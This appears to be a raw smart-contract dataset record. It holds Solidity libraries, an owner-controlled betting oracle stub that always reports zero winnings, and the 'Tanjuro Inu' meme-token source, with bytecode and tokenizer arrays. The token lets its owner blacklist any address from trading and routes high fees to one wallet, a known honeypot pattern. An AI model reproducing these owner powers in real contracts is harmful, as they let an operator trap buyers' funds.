but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } pragma solidity =0.6.12; library TransferHelper { //TODO: Replace in deloy script; function safeApprove(address token, address to, uint value) internal returns (bool){ // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); return (success && (data.length == 0 || abi.decode(data, (bool)))); } function safeTransfer(address token, address to, uint value) internal returns (bool){ // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); // if (token == USDTAddr) { // return success; // } return (success && (data.length == 0 || abi.decode(data, (bool)))); } function safeTransferFrom(address token, address from, address to, uint value) internal returns (bool){ // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); return (success && (data.length == 0 || abi.decode(data, (bool)))); } } interface AggregatorV3Interface { function isBetRoundReady(uint256 _betRound) external view returns (bool);//是否可以投注 function isBetRoundWinOpen(uint256 _betRound) external view returns (bool);//是否已经开奖 function calcWinAmount(uint256 _betRound,uint256 _betTeamdID,uint256 _betAmount) external view returns (uint256);//返回中奖金额 } contract AggregatorV3Impl is Ownable,AggregatorV3Interface{ uint256 private betRound; bool private betReady; bool private betWinOpen; function setBetRound(uint256 _betRound) public onlyOwner{ betRound = _betRound; } function setBetReady(bool _betReady) public onlyOwner{ betReady = _betReady; } function setWinOpen(bool _betWinOpen) public onlyOwner{ betWinOpen = _betWinOpen; } //是否可以投注 function isBetRoundReady(uint256 _betRound) external override view returns (bool){ return betReady && betRound==_betRound; } //是否已经开奖 function isBetRoundWinOpen(uint256 _betRound) external override view returns (bool){ return betWinOpen; } //返回中奖金额 function calcWinAmount(uint256 _betRound,uint256 _betTeamdID,uint256 _betAmount) external override view returns (uint256){ return 0; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b1461016c5780639c2b6217146101a0578063d1f00c72146101ce578063f0267293146101fe578063f2fde38b1461024257610093565b806326ba0d98146100985780634d1e8f51146100c85780634fb182481461011e578063715018a614610162575b600080fd5b6100c6600480360360208110156100ae57600080fd5b81019080803515159060200190929190505050610286565b005b610108600480360360608110156100de57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610352565b6040518082815260200191505060405180910390f35b61014a6004803603602081101561013457600080fd5b810190808035906020019092919050505061035b565b60405180821515815260200191505060405180910390f35b61016a610381565b005b6101746104ee565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101cc600480360360208110156101b657600080fd5b8101908080359060200190929190505050610517565b005b6101fc600480360360208110156101e457600080fd5b810190808035151590602001909291905050506105d0565b005b61022a6004803603602081101561021457600080fd5b810190808035906020019092919050505061069c565b60405180821515815260200191505060405180910390f35b6102846004803603602081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106b5565b005b61028e6108a7565b73ffffffffffffffffffffffffffffffffffffffff166102ac6104ee565b73ffffffffffffffffffffffffffffffffffffffff1614610335576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260016101000a81548160ff02191690831515021790555050565b60009392505050565b6000600260009054906101000a900460ff16801561037a575081600154145b9050919050565b6103896108a7565b73ffffffffffffffffffffffffffffffffffffffff166103a76104ee565b73ffffffffffffffffffffffffffffffffffffffff1614610430576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61051f6108a7565b73ffffffffffffffffffffffffffffffffffffffff1661053d6104ee565b73ffffffffffffffffffffffffffffffffffffffff16146105c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060018190555050565b6105d86108a7565b73ffffffffffffffffffffffffffffffffffffffff166105f66104ee565b73ffffffffffffffffffffffffffffffffffffffff161461067f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548160ff02191690831515021790555050565b6000600260019054906101000a900460ff169050919050565b6106bd6108a7565b73ffffffffffffffffffffffffffffffffffffffff166106db6104ee565b73ffffffffffffffffffffffffffffffffffffffff1614610764576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156107ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806108b06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60003390509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122024db34d82ddb48166442a7eeed24420adc8ad97d5e9786dda9c26b0fb527ecdb64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 2683, 12879, 21084, 2549, 2278, 16932, 2278, 4246, 2581, 2050, 24096, 26187, 2475, 2063, 23777, 26976, 2549, 2094, 25746, 2050, 2683, 2683, 2546, 2581, 2581, 2620, 24594, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,592
0x970a7bdf0ef7830a19531603fd86fbb8fe1c62e6
/* Tanjuro Inu Tanjuro Inu - The dad of Tanjiro Telegram: @TanjuroInu Twitter: @TanjuroInu */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TanjuroInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Tanjuro Inu"; string private constant _symbol = "Tanjuro Inu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xd0fD5DFd849cc747F3bF4C309Ac406ecD14fF884); _feeAddrWallet2 = payable(0xd0fD5DFd849cc747F3bF4C309Ac406ecD14fF884); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 5; _feeAddr2 = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a71565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906125eb565b61042a565b60405161016d9190612a56565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612bd3565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612598565b610459565b6040516101d59190612a56565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906124fe565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612c48565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612674565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b50610299600480360381019061029491906124fe565b61074f565b6040516102a69190612bd3565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e89190612988565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612a71565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906125eb565b610959565b6040516103509190612a56565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061262b565b610977565b005b34801561038e57600080fd5b50610397610aa1565b005b3480156103a557600080fd5b506103ae610b1b565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612558565b611078565b6040516103e49190612bd3565b60405180910390f35b60606040518060400160405280600b81526020017f54616e6a75726f20496e75000000000000000000000000000000000000000000815250905090565b600061043e6104376110ff565b8484611107565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104668484846112d2565b610527846104726110ff565b610522856040518060600160405280602881526020016132fd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d86110ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d79092919063ffffffff16565b611107565b600190509392505050565b61053a6110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90612b33565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106336110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612b33565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e6110ff565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c8161193b565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a36565b9050919050565b6107a86110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612b33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f54616e6a75726f20496e75000000000000000000000000000000000000000000815250905090565b600061096d6109666110ff565b84846112d2565b6001905092915050565b61097f6110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390612b33565b60405180910390fd5b60005b8151811015610a9d57600160066000848481518110610a3157610a30612f90565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9590612ee9565b915050610a0f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae26110ff565b73ffffffffffffffffffffffffffffffffffffffff1614610b0257600080fd5b6000610b0d3061074f565b9050610b1881611aa4565b50565b610b236110ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba790612b33565b60405180910390fd5b600f60149054906101000a900460ff1615610c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf790612bb3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611107565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd657600080fd5b505afa158015610cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0e919061252b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7057600080fd5b505afa158015610d84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da8919061252b565b6040518363ffffffff1660e01b8152600401610dc59291906129a3565b602060405180830381600087803b158015610ddf57600080fd5b505af1158015610df3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e17919061252b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea03061074f565b600080610eab6108f3565b426040518863ffffffff1660e01b8152600401610ecd969594939291906129f5565b6060604051808303818588803b158015610ee657600080fd5b505af1158015610efa573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f1f91906126ce565b5050506001600f60166101000a81548